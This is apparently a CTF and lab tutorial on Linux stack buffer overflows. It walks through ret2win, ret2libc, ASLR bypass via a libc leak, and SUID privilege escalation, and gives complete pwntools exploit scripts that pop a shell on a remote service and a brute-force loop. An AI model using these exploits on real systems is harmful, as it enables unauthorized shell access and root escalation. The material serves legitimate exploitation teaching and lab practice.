Linux buffer overflow step by step: ret2win and ret2libc with pwntools
From a crashing binary to a shell: checksec, finding the offset with cyclic, ret2win, bypassing NX with ret2libc and leaking libc to beat ASLR, with pwntools templates.
A stack buffer overflow happens when a program copies more data than fits into a local array. The excess overwrites whatever sits behind it on the stack, including the return address: when the function returns, the program jumps wherever you say.
void vuln() {
char buf[64];
gets(buf); // reads without a limit: any input longer than 64 bytes overflows
}
This guide uses 64-bit Linux binaries, which is what you will find on almost every current machine and CTF. You need gdb with pwndbg or GEF, and pwntools (pip install pwntools).
1. Recon: which protections it has
file ./vuln # 32 or 64-bit, dynamically or statically linked
checksec --file=./vuln
| Protection | What it prevents | How you get around it |
|---|---|---|
| Canary | Overwriting the return address unnoticed | Leak the canary (format string, over-read) |
| NX | Running code on the stack | Reuse code that already exists: ROP, ret2libc |
| PIE | Knowing where the binary is | Leak an address from the binary |
| ASLR (system-wide) | Knowing where libc is | Leak a libc address |
No canary is the typical machine scenario. On the target, check whether ASLR is on: cat /proc/sys/kernel/randomize_va_space (2 = on).
2. Finding the offset
How many bytes until the return address. With a cyclic pattern:
pwn cyclic -n 8 200 > pattern
gdb ./vuln
pwndbg> run < pattern
# the program crashes on ret; look at the value on top of the stack
pwndbg> x/gx $rsp
pwn cyclic -n 8 -l <value> # → 72 (64 for the buffer + 8 for the saved rbp)
On 64-bit the program stops at ret (the address is not canonical so it never gets loaded into RIP), which is why you look at $rsp and not $rip.
3. ret2win: jumping to a function that already exists
If the binary has a function that prints the flag or spawns a shell and is never called, just jump to it:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process() # remote('10.10.10.10', 1337) for the server
ret = ROP(elf).find_gadget(['ret'])[0] # aligns the stack to 16 bytes (otherwise system() crashes on movaps)
payload = b'A' * 72 + p64(ret) + p64(elf.symbols['win'])
p.sendline(payload)
p.interactive()
4. ret2libc: NX on and no magic function
You cannot execute on the stack, but libc is already loaded and has system and the string "/bin/sh". On 64-bit the first argument goes in rdi, so you need a pop rdi; ret gadget:
ROPgadget --binary ./vuln | grep "pop rdi"
Without ASLR (fixed addresses)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = 0x7ffff7dc3000 # 'vmmap' in gdb or 'ldd ./vuln' on the target
rop = ROP([elf, libc])
rop.raw(rop.find_gadget(['ret'])[0])
rop.system(next(libc.search(b'/bin/sh\x00')))
p.sendline(b'A' * 72 + rop.chain())
With ASLR: two stages
The libc address changes on every run, so first you leak it and then, without letting the program exit, you send the second payload:
from pwn import *
elf = context.binary = ELF('./vuln')
libc = ELF('./libc.so.6') # the target's, not yours
p = remote('10.10.10.10', 1337)
# Stage 1: puts(puts@got) prints the real address of puts, then back to main
rop = ROP(elf)
rop.puts(elf.got['puts'])
rop.main()
p.sendlineafter(b'> ', b'A' * 72 + rop.chain())
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']
log.success(f'libc at {hex(libc.address)}')
# Stage 2: system("/bin/sh")
rop = ROP([elf, libc])
rop.raw(rop.find_gadget(['ret'])[0])
rop.system(next(libc.search(b'/bin/sh\x00')))
p.sendlineafter(b'> ', b'A' * 72 + rop.chain())
p.interactive()
Tip
If you do not have the target's libc, the leak gives it to you: the last 3 hex digits of puts do not change with ASLR. Look them up on libc.rip or libc.blukat.me and download the matching version.
When the binary is SUID on a machine
That is the case on October and Frolic: a local SUID binary, with ASLR off or with few random bits. With ASLR on 32-bit, the libc base only varies in a few bits, so brute force is viable: run the exploit in a loop with a fixed address until it hits.
while true; do ./ovrflw $(python3 exploit.py); done
With SUID, system("/bin/sh") may drop privileges (dash drops them when the real UID does not match). Chain setuid(0) first or use execve with /bin/sh -p.
Common mistakes
- Works locally, not remotely: a different libc, or the server does not flush its output (use
recvuntilon whatever it prints before reading input). - Segfault inside
system: misaligned stack; add a loneretfirst. - Null bytes or newlines:
getsstops at\n,strcpyat\x00. 64-bit addresses end in zeros, so withstrcpyyou can only place the last address. - There is a canary: you need another bug to read it; a format string is the usual one.
On Windows (the old-OSCP classics like the one on Buff) the idea is the same but without NX or ASLR: you jump to a jmp esp and run shellcode on the stack.